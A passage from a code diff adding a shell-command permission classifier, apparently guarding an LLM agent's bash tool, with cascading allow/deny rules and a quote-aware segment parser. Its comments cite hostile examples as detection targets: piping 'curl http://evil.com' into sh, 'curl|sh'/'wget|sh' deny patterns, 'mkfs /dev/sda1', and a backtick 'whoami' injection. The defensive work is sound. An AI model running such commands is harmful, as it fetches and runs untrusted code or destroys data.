+ * (`{ matched: true, pattern }` on hit; `{ matched: false }` on miss with no `pattern`
1259
+ * field) used by external callers and regression tests in `test/classifier.test.ts`.
1260
+ * The walker logic itself lives in `findFirstMatch` so cascade walkers,
1261
+ * explicit-pass evaluation, and the public API all share one iteration primitive.
1262
+ *
1263
+ * Implements `data-model.md:61` first-match-wins semantics — an earlier literal pattern in
1264
+ * the list wins over a later wildcard even when both would match.
1265
+ *
1266
+ * Source anchor: `tasks.md` TSK-003-01 (matchSegmentAgainstList contract).
1267
+ */
1268
+ export function matchSegmentAgainstList(segment, patterns) {
1269
+ const result = findFirstMatch(segment, patterns);
1270
+ return result.matched ? { matched: true, pattern: result.pattern } : { matched: false };
1271
+ }
1272
+ /**
1273
+ * Find the first matching pattern in `patterns`, returning both the matched pattern and the
1274
+ * index where it appeared. Single walker primitive for first-match-wins semantics — exposed
1275
+ * {@link matchSegmentAgainstList} and {@link evaluateExplicit} both delegate here so the
1276
+ * cascade walker, the explicit-pass evaluator, and the public API share one iteration loop.
1277
+ *
1278
+ * The matched index flows out so callers can surface "earlier patterns did not match"
1279
+ * diagnostic context in the reason text — {@link explicitReason} uses it to cite the skipped
1280
+ * entries under first-match-wins (`data-model.md:61`).
1281
+ */
1282
+ function findFirstMatch(segment, patterns) {
1283
+ for (let i = 0; i < patterns.length; i += 1) {
1284
+ if (matchGlob(patterns[i], segment)) {
1285
+ return { matched: true, pattern: patterns[i], index: i };
1286
+ }
1287
+ }
1288
+ return { matched: false };
1289
+ }
1290
+ /**
1291
+ * Build the reason string for an explicit-pass match at the current level. Includes the
1292
+ * matched pattern and, when `matchIndex > 0`, a parenthetical listing the earlier patterns
1293
+ * that did not match. The "earlier patterns" clause is the diagnostic anchor the cascade
1294
+ * tests rely on to verify first-match-wins semantics — e.g. when the matched pattern is
1295
+ * `'foo bar'` and an earlier `'foo'` did not match, the reason surfaces both so the FLOW-07
1296
+ * prompt preview and FLOW-08 audit trail can attribute the decision.
1297
+ */
1298
+ function explicitReason(action, level, matched, matchIndex, patterns) {
1299
+ if (matchIndex === 0) {
1300
+ return `${action} at ${level} matched '${matched}'`;
1301
+ }
1302
+ const earlier = patterns
1303
+ .slice(0, matchIndex)
1304
+ .map((p) => `'${p}'`)
1305
+ .join(", ");
1306
+ return `${action} at ${level} matched '${matched}' (earlier ${earlier} did not match)`;
1307
+ }
1308
+ /**
1309
+ * Build the reason string for a cascade-inherited match. Mirrors {@link explicitReason}'s
1310
+ * shape so both reason helpers stay symmetric — the explicit-pass and cascade-walk reason
1311
+ * formats now share the same `'<pattern>'` quoting convention and the same `cascade /
1312
+ * explicit` lexical marker that `cascade.test.ts` relies on to distinguish cascaded
1313
+ * decisions from explicit per-level matches.
1314
+ *
1315
+ * Format: `cascade <action> from <level> via '<pattern>'`. The substring `cascade` and the
1316
+ * `from <level>` anchor are what FLOW-07's prompt preview and the cascade regression tests
1317
+ * grep for to attribute a cascaded decision to its origin level.
1318
+ */
1319
+ function cascadeReason(action, level, matched) {
1320
+ return `cascade ${action} from ${level} via '${matched}'`;
1321
+ }
1322
+ const EXPLICIT_ACTION_ORDER = ["deny", "allow", "ask"];
1323
+ /**
1324
+ * Explicit-pass evaluation at the current level. Iterates {@link EXPLICIT_ACTION_ORDER} and
1325
+ * returns the first matched action as a fully-formed {@link PermissionDecision}, or `null` when
1326
+ * no rule at the current level matches. Single source of truth for the deny → allow → ask
1327
+ * evaluation order; replacing three near-identical branches with one loop eliminates the
1328
+ * duplication that the GREEN-phase inline form left behind.
1329
+ */
1330
+ function evaluateExplicit(segment, mode, levelRules) {
1331
+ for (const action of EXPLICIT_ACTION_ORDER) {
1332
+ const match = findFirstMatch(segment, levelRules[action]);
1333
+ if (match.matched) {
1334
+ return {
1335
+ decision: action,
1336
+ reason: explicitReason(action, mode, match.pattern, match.index, levelRules[action]),
1337
+ };
1338
+ }
1339
+ }
1340
+ return null;
1341
+ }
1342
+ /**
1343
+ * DOWN-for-allow cascade walk. Starting at the level immediately below `mode`, walks toward
1344
+ * `low` (the lowest-indexed entry in {@link VALID_MODES}) checking each level's `allow` list.
1345
+ * The first match returns an `{ decision: "allow", reason: "cascade allow from <level> via '<pattern>'" }`.
1346
+ * Returns `null` when no level carries a matching allow pattern (caller proceeds to UP-for-deny).
1347
+ * Loop bounds are empty at `mode === "low"` (modeIdx - 1 < 0) — boundary case handled by the
1348
+ * standard for-loop contract, no special branch required.
1349
+ */
1350
+ function walkCascadeDownForAllow(segment, rules, modeIdx) {
1351
+ for (let i = modeIdx - 1; i >= 0; i -= 1) {
1352
+ const level = VALID_MODES[i];
1353
+ const match = findFirstMatch(segment, rules.rules[level].allow);
1354
+ if (match.matched) {
1355
+ return {
1356
+ decision: "allow",
1357
+ reason: cascadeReason("allow", level, match.pattern),
1358
+ };
1359
+ }
1360
+ }
1361
+ return null;
1362
+ }
1363
+ /**
1364
+ * UP-for-deny cascade walk. Starting at the level immediately above `mode`, walks toward
1365
+ * `high` (the highest-indexed entry in {@link VALID_MODES}) checking each level's `deny` list.
1366
+ * The first match returns an `{ decision: "deny", reason: "cascade deny from <level> via '<pattern>'" }`.
1367
+ * Returns `null` when no level carries a matching deny pattern (caller proceeds to default ask).
1368
+ * Loop bounds are empty at `mode === "high"` — boundary case handled by the standard for-loop contract.
1369
+ */
1370
+ function walkCascadeUpForDeny(segment, rules, modeIdx) {
1371
+ for (let i = modeIdx + 1; i < VALID_MODES.length; i += 1) {
1372
+ const level = VALID_MODES[i];
1373
+ const match = findFirstMatch(segment, rules.rules[level].deny);
1374
+ if (match.matched) {
1375
+ return {
1376
+ decision: "deny",
1377
+ reason: cascadeReason("deny", level, match.pattern),
1378
+ };
1379
+ }
1380
+ }
1381
+ return null;
1382
+ }
1383
+ /**
1384
+ * Cascade resolver for a single shell segment. Implements `data-model.md:347-352`
1385
+ * (allow cascades DOWN through lower levels, deny cascades UP through higher levels,
1386
+ * explicit per-level rules override cascade-inherited decisions, default `ask`).
1387
+ *
1388
+ * Algorithm (four stops, fixed order, each delegated to a named helper):
1389
+ * 1. {@link evaluateExplicit} — deny → allow → ask at `mode`, first-match-wins.
1390
+ * 2. {@link walkCascadeDownForAllow} — visit lower-indexed levels' allow lists (allow cascades DOWN).
1391
+ * 3. {@link walkCascadeUpForDeny} — visit higher-indexed levels' deny lists (deny cascades UP).
1392
+ * 4. Default ask when every cascade stop exhausts without a match.
1393
+ *
1394
+ * Level-order tuple reused from the module-level `VALID_MODES` (`src/gatekeeper.ts:81`),
1395
+ * the single source of truth for the level set; the walker references the tuple instead of
1396
+ * redeclaring `["low", "medium", "high"]` so a future mode rename propagates from one edit.
1397
+ *
1398
+ * Source anchor: `tasks.md` TSK-003-02 (classifySegment contract),
1399
+ * `data-model.md:347-352` (cascade algorithm), `data-model.md:60-64` (cascade semantics),
1400
+ * `constitution.md §1.5` (cascade direction).
1401
+ *
1402
+ * @requires mode !== "off" — the Off-mode bypass lives above this resolver in the bash tool
1403
+ * handler (ISS-005); `classifySegment` is not invoked with `mode === "off"` and the
1404
+ * `PermissionLevel` type excludes `"off"` from its union.
1405
+ */
1406
+ export function classifySegment(segment, mode, rules) {
1407
+ const levelRules = rules.rules[mode];
1408
+ const modeIdx = VALID_MODES.indexOf(mode);
1409
+ const explicit = evaluateExplicit(segment, mode, levelRules);
1410
+ if (explicit !== null)
1411
+ return explicit;
1412
+ const cascadeAllow = walkCascadeDownForAllow(segment, rules, modeIdx);
1413
+ if (cascadeAllow !== null)
1414
+ return cascadeAllow;
1415
+ const cascadeDeny = walkCascadeUpForDeny(segment, rules, modeIdx);
1416
+ if (cascadeDeny !== null)
1417
+ return cascadeDeny;
1418
+ return { decision: "ask", reason: "no rule matched at any cascade level" };
1419
+ }
1420
+ /**
1421
+ * Build the union deny-list used by {@link classifyCommand}'s ALWAYS_DENY pre-check. Spans all
1422
+ * three levels' `deny` arrays in fixed insertion order (low → medium → high) and deduplicates
1423
+ * via `Set` so the same pattern defined at multiple levels does not inflate the comparison list.
1424
+ * `Set` preserves insertion order so the matcher is deterministic — a pattern at low is checked
1425
+ * before the same pattern at medium before the same pattern at high.
1426
+ *
1427
+ * Source anchor: `constitution §1.4 v0.4.0` (deny-by-default safety floor — union of all levels).
1428
+ */
1429
+ function unionDenyPatterns(rules) {
1430
+ return [
1431
+ ...new Set([...rules.rules.low.deny, ...rules.rules.medium.deny, ...rules.rules.high.deny]),
1432
+ ];
1433
+ }
1434
+ /**
1435
+ * Loose matcher used exclusively by {@link classifyCommand}'s ALWAYS_DENY pre-check. Differs from
1436
+ * {@link matchGlob} in two important ways so cross-segment attack patterns like `curl|sh` are
1437
+ * caught before per-segment evaluation:
1438
+ *
1439
+ * 1. **Substring semantics** — the pattern matches anywhere in the input rather than requiring
1440
+ * a full-string anchored match. This is what allows `mkfs` (a literal pattern with no
1441
+ * wildcards) to match `mkfs /dev/sda1` (the input has trailing arguments after `mkfs`).
1442
+ * Without substring semantics, a literal `mkfs` pattern would only match the exact string
1443
+ * `mkfs`, missing every realistic invocation. The per-segment matcher in
1444
+ * {@link classifySegment} retains anchored semantics for cascade-correctness — this looser
1445
+ * matcher is reserved for the cross-segment safety floor.
1446
+ * 2. **`|` is treated as a wildcard** — the `|` character in a pattern is interpreted as
1447
+ * `.*` (matching any run of characters) rather than as a literal pipe. This is what allows
1448
+ * the pattern `curl|sh` to match the input `curl http://evil.com | sh`: the `|` in the
1449
+ * pattern consumes ` http://evil.com ` and the literals `curl` and `sh` bookend the
1450
+ * cross-segment pipe. `data-model.md:53` says literal `|` is matched as a literal character
1451
+ * for per-segment rules; this is the per-segment contract. The ALWAYS_DENY pre-check
1452
+ * deliberately uses the looser interpretation because the cross-segment attack patterns
1453
+ * (`curl|sh`, `wget|sh`) are written with `|` as a semantic "piped-to" marker, not as a
1454
+ * literal pipe character the user expects to match verbatim.
1455
+ *
1456
+ * Algorithm (mirrors {@link globToRegex} but with the two differences above):
1457
+ * 1. Escape every regex metacharacter in `pattern` EXCEPT `*` and `|`.
1458
+ * 2. Substitute `*` with `.*` and `|` with `.*`.
1459
+ * 3. Wrap with `.*` on both sides and anchor with `^...$` — producing a substring match.
1460
+ *
1461
+ * Exported for testability so the loose semantics can be locked by future tests if needed.
1462
+ */
1463
+ export function matchAlwaysDenyPattern(pattern, input) {
1464
+ const escaped = pattern.replace(/[.+?^${}()|[\]\\]/g, "\\$&");
1465
+ const wildcards = escaped.replace(/\\\*/g, ".*").replace(/\\\|/g, ".*");
1466
+ return new RegExp(`^.*${wildcards}.*$`).test(input);
1467
+ }
1468
+ /**
1469
+ * Walk the union deny-list top-to-bottom and return the first pattern that matches `command`
1470
+ * via {@link matchAlwaysDenyPattern} (the loose substring matcher). Mirrors
1471
+ * {@link matchSegmentAgainstList}'s iteration order so the ALWAYS_DENY pre-check is
1472
+ * deterministic — patterns at low are checked before patterns at medium, then high.
1473
+ *
1474
+ * Returns `{ matched: false }` when no pattern matches (or when the union is empty).
1475
+ */
1476
+ function matchCommandAgainstUnionDeny(command, union) {
1477
+ for (const pattern of union) {
1478
+ if (matchAlwaysDenyPattern(pattern, command)) {
1479
+ return { matched: true, pattern };
1480
+ }
1481
+ }
1482
+ return { matched: false };
1483
+ }
1484
+ /**
1485
+ * Top-level command classification pipeline. Implements FR-003 (Command Classifier) end-to-end:
1486
+ *
1487
+ * 1. ALWAYS_DENY pre-check — union of all three levels' `deny` lists matched against the FULL
1488
+ * command string. Catches cross-segment attack patterns like `curl|sh` that no per-segment
1489
+ * matcher could detect (per-segment evaluation would split `curl ... | sh` into
1490
+ * `["curl ...", "sh"]`, neither of which matches the literal `curl|sh`). When matched,
1491
+ * returns `{ decision: "deny", reason: "always-deny pattern: '<pattern>'" }` immediately —
1492
+ * no segment evaluation, no cascade walk.
1493
+ * 2. Split — `splitShellSegments(command)` (ISS-002 parser), filtered to drop empty/whitespace
1494
+ * segments. If no segments remain (empty command, whitespace-only, operators-only with no
1495
+ * operands), return `{ decision: "ask", reason: "empty command" }`.
1496
+ * 3. Per-segment classification — each surviving segment is classified via {@link classifySegment}.
1497
+ * 4. Combined precedence — `deny > ask > allow` across segments per `architecture.md:46-47` and
1498
+ * `data-model.md:162`. The combined reason concatenates per-segment reasons with
1499
+ * `"segment N: <reason>; "` formatting so FLOW-07's prompt preview can attribute the decision
1500
+ * to the offending segment(s).
1501
+ *
1502
+ * Source anchor: `tasks.md` TSK-003-03 (`classifyCommand` pipeline), `data-model.md:397` (the
1503
+ * classifyCommand block diagram), `architecture.md:46-47` (combined `deny > ask > allow`
1504
+ * precedence), `constitution §1.4 v0.4.0` (ALWAYS_DENY union safety floor),
1505
+ * `constitution §1.5` (cascade direction).
1506
+ *
1507
+ * @requires mode !== "off" — the Off-mode bypass lives above this resolver in the bash tool
1508
+ * handler (ISS-005); `classifyCommand` is not invoked with `mode === "off"` and the
1509
+ * `PermissionLevel` type excludes `"off"` from its union.
1510
+ */
1511
+ export function classifyCommand(command, mode, rules) {
1512
+ // (a) ALWAYS_DENY pre-check — full-string match against the union of all deny lists.
1513
+ // Matches cross-segment attack patterns that per-segment evaluation would miss. Uses the
1514
+ // loose substring-with-pipe-as-wildcard matcher (`matchCommandAgainstUnionDeny`) so a
1515
+ // pattern like `curl|sh` catches `curl http://evil.com | sh` even though per-segment
1516
+ // evaluation would split that into `["curl http://evil.com", "sh"]` and miss the
1517
+ // literal pattern.
1518
+ const union = unionDenyPatterns(rules);
1519
+ const alwaysMatch = matchCommandAgainstUnionDeny(command, union);
1520
+ if (alwaysMatch.matched && alwaysMatch.pattern !== undefined) {
1521
+ return {
1522
+ decision: "deny",
1523
+ reason: `always-deny pattern: '${alwaysMatch.pattern}'`,
1524
+ };
1525
+ }
1526
+ // (b) Split — segment the command and drop any empty/whitespace-only pieces the parser emits.
1527
+ const rawSegments = splitShellSegments(command);
1528
+ const segments = rawSegments.filter((s) => s.trim() !== "");
1529
+ if (segments.length === 0) {
1530
+ return { decision: "ask", reason: "empty command" };
1531
+ }
1532
+ // (c) Per-segment classification — delegate to classifySegment for each surviving segment.
1533
+ const perSegment = segments.map((seg) => classifySegment(seg, mode, rules));
1534
+ // (d) Combined precedence — deny > ask > allow. The first segment with each decision wins,
1535
+ // and the combined reason concatenates per-segment reasons so FLOW-07's prompt preview and
1536
+ // FLOW-08's audit trail can attribute the decision to the offending segment(s).
1537
+ const combinedReason = perSegment.map((d, idx) => `segment ${idx + 1}: ${d.reason}`).join("; ");
1538
+ const denySegment = perSegment.find((d) => d.decision === "deny");
1539
+ if (denySegment !== undefined) {
1540
+ return { decision: "deny", reason: combinedReason };
1541
+ }
1542
+ const askSegment = perSegment.find((d) => d.decision === "ask");
1543
+ if (askSegment !== undefined) {
1544
+ return { decision: "ask", reason: combinedReason };
1545
+ }
1546
+ return { decision: "allow", reason: combinedReason };
1547
+ }
1548
+ /**
1549
+ * Try to extract a backtick command substitution (`...`) at position `i`. Returns `null` when
1550
+ * the position is not a backtick, when inside single quotes (backticks are opaque there), or
1551
+ * when the substitution is unterminated. Backticks ARE active inside double quotes per shell semantics.
1552
+ *
1553
+ * On success returns `{ inner, endIndex, wrapper }`:
1554
+ * - `inner` is the substitution body, suitable for recursive splitShellSegments.
1555
+ * - `endIndex` is where the caller should resume (one past the closing backtick).
1556
+ * - `wrapper` is the input buffer prepared for commit.
1557
+ */
1558
+ function tryExtractBacktick(input, i, buffer, lastRedirectOp, inSingle) {
1559
+ // Backticks are opaque inside single quotes
1560
+ if (inSingle)
1561
+ return null;
1562
+ if (input[i] !== "`")
1563
+ return null;
1564
+ const closeTickIndex = findMatchingBacktick(input, i);
1565
+ if (closeTickIndex === -1)
1566
+ return null;
1567
+ const inner = input.slice(i + 1, closeTickIndex);
1568
+ const wrapper = lastRedirectOp === null ? buffer : stripTrailingRedirect(buffer, lastRedirectOp);
1569
+ return { inner, endIndex: closeTickIndex + 1, wrapper };
1570
+ }
1571
+ /**
1572
+ * Handle a backtick found inside an active double-quoted region. Splits the buffer at the
1573
+ * opening double-quote boundary (committing the leading prefix as its own segment), inlines
1574
+ * the substitution content into the buffer, and sets the `dquoteBufferStart` sentinel to `-1`
1575
+ * so the closing double-quote at the end of input is dropped (already consumed by the split).
1576
+ *
1577
+ * The return shape mirrors the loop's mutable parser state so the caller can re-bind in one
1578
+ * statement. Returns `null` when the backtick is unterminated — the caller falls through to
1579
+ * {@link tryExtractBacktick} which will likewise return null on an unterminated backtick, so
1580
+ * the character is preserved verbatim per the conservative-degradation contract.
1581
+ *
1582
+ * Shell-semantics rationale: backticks are active command substitution inside double quotes
1583
+ * (unlike single quotes). The split prefix commits, e.g., `echo` from `echo "a`whoami`b"` so
1584
+ * the LLM-facing allowlist segments an injected substitution away from its enclosing command.
1585
+ */
1586
+ function handleBacktickInDoubleQuotes(input, i, buffer, dquoteBufferStart, segments) {
1587
+ // Split at the opening `"` — `dquoteBufferStart` is the position AFTER the `"` was appended,
1588
+ // so the prefix is `current.slice(0, dquoteBufferStart - 1)` (everything up to and including
1589
+ // the `"`) and the inside-quotes remainder starts at `dquoteBufferStart`.
1590
+ const prefix = buffer.slice(0, dquoteBufferStart - 1);
1591
+ const insideQuotes = buffer.slice(dquoteBufferStart);
1592
+ commitSegment(prefix, segments);
1593
+ const closeTickIndex = findMatchingBacktick(input, i);
1594
+ if (closeTickIndex === -1) {
1595
+ return null;
1596
+ }
1597
+ const inner = input.slice(i + 1, closeTickIndex);
1598
+ return {
1599
+ current: insideQuotes + inner,
1600
+ dquoteBufferStart: -1,
1601
+ i: closeTickIndex + 1,
1602
+ };
1603
+ }
1604
+ /**
1605
+ * Try to detect a process substitution token `>(...)` or `<(...)` at position `i`.
1606
+ * Process substitutions are shell syntax for FIFO-based command substitution:
1607
+ * `cmd < <(dangerous)` → the `<` is the redirect operator and `<(dangerous)` is the target.
1608
+ * The `<` or `>` before `(` is part of the syntax, not a standalone redirect operator.
1609
+ * Returns `null` when not at a process substitution, inside quotes, or unterminated.
1610
+ */
1611
+ function tryMatchProcessSubstitution(input, i, buffer, lastRedirectOp, inSingle, inDouble) {
1612
+ if (inSingle || inDouble)
1613
+ return null;
1614
+ if (i + 1 >= input.length)
1615
+ return null;
1616
+ const c = input[i];
1617
+ if (c !== ">" && c !== "<")
1618
+ return null;
1619
+ if (input[i + 1] !== "(")
1620
+ return null;
1621
+ const openParenIndex = i + 1;
1622
+ const closeParenIndex = findMatchingParen(input, openParenIndex);
1623
+ if (closeParenIndex === -1)
1624
+ return null;
1625
+ const inner = input.slice(openParenIndex + 1, closeParenIndex);
1626
+ const wrapper = lastRedirectOp === null ? buffer : stripTrailingRedirect(buffer, lastRedirectOp);
1627
+ return { inner, endIndex: closeParenIndex + 1, wrapper };
1628
+ }
1629
+ /**
1630
+ * Consume a single redirect target starting from `start` (the first character of the target
1631
+ * path). The target is any run of non-whitespace, non-split-operator characters — the shell
1632
+ * redirect target is a file path or word, not a shell command, so we consume it flatly
1633
+ * without parsing subshells or substitutions inside it.
1634
+ * Returns `i` positioned at the first character after the target.
1635
+ */
1636
+ function consumeRedirectTarget(input, start) {
1637
+ let i = start;
1638
+ while (i < input.length &&
1639
+ input[i] !== " " &&
1640
+ input[i] !== " " &&
1641
+ input[i] !== "\n" &&
1642
+ input[i] !== "|" &&
1643
+ input[i] !== ";" &&
1644
+ !(input[i] === "&" && i + 1 < input.length && input[i + 1] === "&")) {
1645
+ i++;
1646
+ }
1647
+ return i;
1648
+ }
1649
+ /**
1650
+ * Consume trailing redirect operators and their targets starting from `start`.
1651
+ * Used after process substitution extraction to drop trailing redirects
1652
+ * (e.g., `tee >(cat) > /tmp/out` drops the trailing `> /tmp/out`).
1653
+ * Stops at the next split operator or end of input.
1654
+ */
1655
+ function consumeTrailingRedirects(input, start) {
1656
+ let i = start;
1657
+ while (i < input.length) {
1658
+ i = skipOperatorWhitespace(input, i);
1659
+ if (i >= input.length)
1660
+ break;
1661
+ const c = input[i];
1662
+ // Must be a redirect operator
1663
+ if (c !== ">" && c !== "<")
1664
+ break;
1665
+ i++; // consume > or <
1666
+ if (c === ">" && i < input.length && input[i] === ">")
1667
+ i++; // >>
1668
+ i = skipOperatorWhitespace(input, i);
1669
+ if (i >= input.length)
1670
+ break;
1671
+ i = consumeRedirectTarget(input, i);
1672
+ }
1673
+ return i;
1674
+ }
1675
+ export function splitShellSegments(cmd) {
1676
+ if (cmd === "") {
1677
+ return [];
1678
+ }
1679
+ const segments = [];
1680
+ let current = "";
1681
+ let inSingle = false;
1682
+ let inDouble = false;
1683
+ let escaped = false;
1684
+ // Double-quote buffer start index — tracks where the opening `"` was appended
1685
+ // in `current`. Used by backtick-inside-double-quotes handling to split the
1686
+ // buffer at the quote boundary and inline the backtick content.
1687
+ // - `null` = not currently inside a tracked double-quote context
1688
+ // - a number = position in `current` after the opening `"`
1689
+ // - `-1` = sentinel indicating we already split on a backtick inside double quotes
1690
+ let dquoteBufferStart = null;
1691
+ let i = 0;
1692
+ // Heredoc state — `pendingDelimiter` is armed when an opener is seen and activates body mode on
1693
+ // the next `\n`; `activeDelimiter` (when set) means we are inside a body and the walker delegates
1694
+ // to {@link consumeHeredocBody} until the delimiter is matched on its own line.
1695
+ let pendingDelimiter = null;
1696
+ let activeDelimiter = null;
1697
+ // Subshell-redirect state — `lastRedirectOp` holds the most recent unquoted redirect operator
1698
+ // (`<`, `>`, `>>`) seen since the last non-whitespace, non-redirect character. When a `$(`
1699
+ // substitution follows such an operator (across optional whitespace), the substitution branch in
1700
+ // this loop (delegated to {@link tryExtractCommandSubstitution}) recognizes it as a subshell
1701
+ // redirect and emits the wrapper + inner content as separate segments (AC-002-04). The tracker
1702
+ // is cleared on any non-whitespace character that is not itself a redirect operator — delegated
1703
+ // to {@link appendChar} — so `cmd < file.txt $(more)` correctly treats the `$(more)` as an
1704
+ // INLINE substitution (no recent redirect) rather than a subshell redirect.
1705
+ let lastRedirectOp = null;
1706
+ while (i < cmd.length) {
1707
+ const c = cmd[i];
1708
+ // Heredoc body mode — body is literal text, no quote/escape/operator processing. The body
1709
+ // consumer walks until the delimiter line is matched (resuming at the surrounding newline)
1710
+ // or EOF is reached (preserving the partial trailing line).
1711
+ if (activeDelimiter !== null) {
1712
+ const result = consumeHeredocBody(cmd, i, activeDelimiter);
1713
+ current += result.body;
1714
+ i = result.endIndex;
1715
+ if (result.closed) {
1716
+ activeDelimiter = null;
1717
+ }
1718
+ continue;
1719
+ }
1720
+ // Pending heredoc opener — armed on the first `\n` after `<<DELIM`. Until the newline arrives,
1721
+ // normal parsing (including `&&` splits) applies to whatever follows the opener on the same
1722
+ // line, matching AC-002-03: `cat <<EOF && echo done` → `["cat <<EOF", "echo done"]`.
1723
+ if (pendingDelimiter !== null && c === "\n") {
1724
+ current += "\n";
1725
+ activeDelimiter = pendingDelimiter;
1726
+ pendingDelimiter = null;
1727
+ i += 1;
1728
+ continue;
1729
+ }
1730
+ // Escape branch — the previous character was a backslash outside quotes; consume this char
1731
+ // literally and strip the backslash itself. Operators reached via this path do not split.
1732
+ if (escaped) {
1733
+ current += c;
1734
+ escaped = false;
1735
+ i += 1;
1736
+ continue;
1737
+ }
1738
+ // Backslash escape trigger — only active outside both quote contexts. Inside single quotes
1739
+ // backslashes are literal (per shell semantics); inside double quotes they retain their
1740
+ // special meaning for `$`, `"`, `\`, newline but not for our operators — keeping the trigger
1741
+ // outside quotes is the conservative simplification for Phase 2.
1742
+ if (!inSingle && !inDouble && c === "\\") {
1743
+ escaped = true;
1744
+ i += 1;
1745
+ continue;
1746
+ }
1747
+ // Single-quote toggle — a `'` only toggles `inSingle` when not currently inside double quotes.
1748
+ // Single quotes inside double quotes are literal; double quotes inside single quotes are
1749
+ // literal (the next branch is gated on `!inSingle`).
1750
+ if (!inDouble && c === "'") {
1751
+ inSingle = !inSingle;
1752
+ current += c;
1753
+ i += 1;
1754
+ continue;
1755
+ }
1756
+ // Double-quote toggle — symmetric to the single-quote branch. When `inDouble` transitions to true,
1757
+ // track the buffer position for backtick-inside-double-quotes handling. When transitioning to false
1758
+ // after a backtick split (dquoteBufferStart === -1), don't append the closing `"` to buffer.
1759
+ if (!inSingle && c === '"') {
1760
+ if (!inDouble) {
1761
+ inDouble = true;
1762
+ current += c;
1763
+ dquoteBufferStart = current.length; // save position after opening quote
1764
+ }
1765
+ else if (dquoteBufferStart === -1) {
1766
+ // Closing " after backtick split — don't append the quote to buffer
1767
+ inDouble = false;
1768
+ dquoteBufferStart = null;
1769
+ }
1770
+ else {
1771
+ inDouble = false;
1772
+ current += c;
1773
+ dquoteBufferStart = null;
1774
+ }
1775
+ i += 1;
1776
+ continue;
1777
+ }
1778
+ // Backtick substitution detection — `...`
1779
+ // Backticks are command substitution even inside double quotes per shell semantics.
1780
+ // Inside single quotes they are opaque (gated by !inSingle).
1781
+ if (c === "`" && !inSingle) {
1782
+ // Inside-double-quotes branch is its own helper so the main loop's conditional depth
1783
+ // stays flat (the per-quote-class dispatch keeps each variant to one extraction path).
1784
+ if (inDouble && dquoteBufferStart !== null && dquoteBufferStart !== -1) {
1785
+ const dqResult = handleBacktickInDoubleQuotes(cmd, i, current, dquoteBufferStart, segments);
1786
+ if (dqResult !== null) {
1787
+ ({ current, dquoteBufferStart, i } = dqResult);
1788
+ continue;
1789
+ }
1790
+ // Unterminated backtick inside double quotes — fall through to default backtick
1791
+ // extraction (which will also return null, so the backtick is preserved as a literal
1792
+ // character per the conservative-degradation contract).
1793
+ }
1794
+ // Normal backtick extraction (outside double quotes — regular segment split)
1795
+ // Also reached when a backtick-inside-double-quotes is unterminated (fall-through from
1796
+ // the block above — in that case tryExtractBacktick returns null and the backtick
1797
+ // is preserved as a literal character per the conservative-degradation contract).
1798
+ const bt = tryExtractBacktick(cmd, i, current, lastRedirectOp, inSingle);
1799
+ if (bt !== null) {
1800
+ commitSubstitution(bt.wrapper, bt.inner, segments);
1801
+ current = "";
1802
+ lastRedirectOp = null;
1803
+ i = bt.endIndex;
1804
+ continue;
1805
+ }
1806
+ }
1807
+ // Heredoc opener detection — `<<DELIM` outside quotes, distinct from `<<<` herestring. The
1808
+ // opener is appended verbatim and arms `pendingDelimiter` for activation on the next `\n`.
1809
+ const heredocOpener = tryMatchHeredocOpener(cmd, i, inSingle, inDouble);
1810
+ if (heredocOpener !== null) {
1811
+ current += `<<${heredocOpener.delimiter}`;
1812
+ pendingDelimiter = heredocOpener.delimiter;
1813
+ i += heredocOpener.length;
1814
+ continue;
1815
+ }
1816
+ // Command substitution `$(...)` — AC-002-04 subshell-redirect fix + inline substitution.
1817
+ // Delegated to {@link tryExtractCommandSubstitution} which handles quote gating, finding the
1818
+ // matching `)`, and stripping the wrapper's trailing redirect operator. When that helper
1819
+ // returns null (not a subshell opener, inside quotes, or unterminated `$(`) the loop falls
1820
+ // through to the redirect op / operator / default branches and the `$` is appended literally.
1821
+ const subst = tryExtractCommandSubstitution(cmd, i, current, lastRedirectOp, inSingle, inDouble);
1822
+ if (subst !== null) {
1823
+ commitSubstitution(subst.wrapper, subst.inner, segments);
1824
+ current = "";
1825
+ lastRedirectOp = null;
1826
+ i = subst.endIndex;
1827
+ // Consume trailing redirects after subshell extraction (e.g., `cmd < $(dangerous) > /tmp/out`
1828
+ // drops the trailing `> /tmp/out`)
1829
+ i = consumeTrailingRedirects(cmd, i);
1830
+ continue;
1831
+ }
1832
+ // Process substitution detection — `>(...)` and `<(...)`
1833
+ // Detected AFTER `$()` but BEFORE the redirect operator check so the `>` or `<`
1834
+ // is consumed as part of the process substitution syntax, not as a standalone redirect.
1835
+ const procSubst = tryMatchProcessSubstitution(cmd, i, current, lastRedirectOp, inSingle, inDouble);
1836
+ if (procSubst !== null) {
1837
+ commitSubstitution(procSubst.wrapper, procSubst.inner, segments);
1838
+ current = "";
1839
+ lastRedirectOp = null;
1840
+ i = procSubst.endIndex;
1841
+ // Consume trailing redirects after process substitution (e.g., `tee >(cat) > /tmp/out`
1842
+ // drops the trailing `> /tmp/out`)
1843
+ i = consumeTrailingRedirects(cmd, i);
1844
+ continue;
1845
+ }
1846
+ // Redirect operator `<`, `>`, `>>` outside quotes — delegated to {@link tryAppendRedirectOp}
1847
+ // so the `>>` precedence and state-tracking mutations live in one focused helper. The returned
1848
+ // `lastRedirectOp` is what the substitution branch above reads on the next non-whitespace
1849
+ // iteration to recognize a subshell redirect. Heredoc opener detection (`<<`, `<<<`) runs above
1850
+ // this branch, so those tokens are NOT routed here.
1851
+ const redirect = tryAppendRedirectOp(cmd, i, current, inSingle, inDouble);
1852
+ if (redirect !== null) {
1853
+ current = redirect.buffer;
1854
+ lastRedirectOp = redirect.lastRedirectOp;
1855
+ i = redirect.endIndex;
1856
+ continue;
1857
+ }
1858
+ // Operator split — only when fully outside quotes. `tryMatchOperator` returns null inside
1859
+ // quotes so we never reach the flush branch with `inSingle || inDouble` true. The pending
1860
+ // heredoc delimiter is also cleared here so a `<<EOF` on one segment does not leak into the
1861
+ // next segment's body mode (each segment is its own command surface for FLOW-08/09).
1862
+ const op = tryMatchOperator(cmd, i, inSingle, inDouble);
1863
+ if (op !== null) {
1864
+ commitSegment(current, segments);
1865
+ current = "";
1866
+ pendingDelimiter = null;
1867
+ i += op.length;
1868
+ i = skipOperatorWhitespace(cmd, i);
1869
+ continue;
1870
+ }
1871
+ // Default char append — delegated to {@link appendChar} which encapsulates the
1872
+ // whitespace-preserves-redirect-op, other-char-resets rule.
1873
+ const appended = appendChar(c, current, lastRedirectOp);
1874
+ current = appended.buffer;
1875
+ lastRedirectOp = appended.lastRedirectOp;
1876
+ i += 1;
1877
+ }
1878
+ commitSegment(current, segments);
1879
+ return segments;
1880
+ }
1881
+ /**
1882
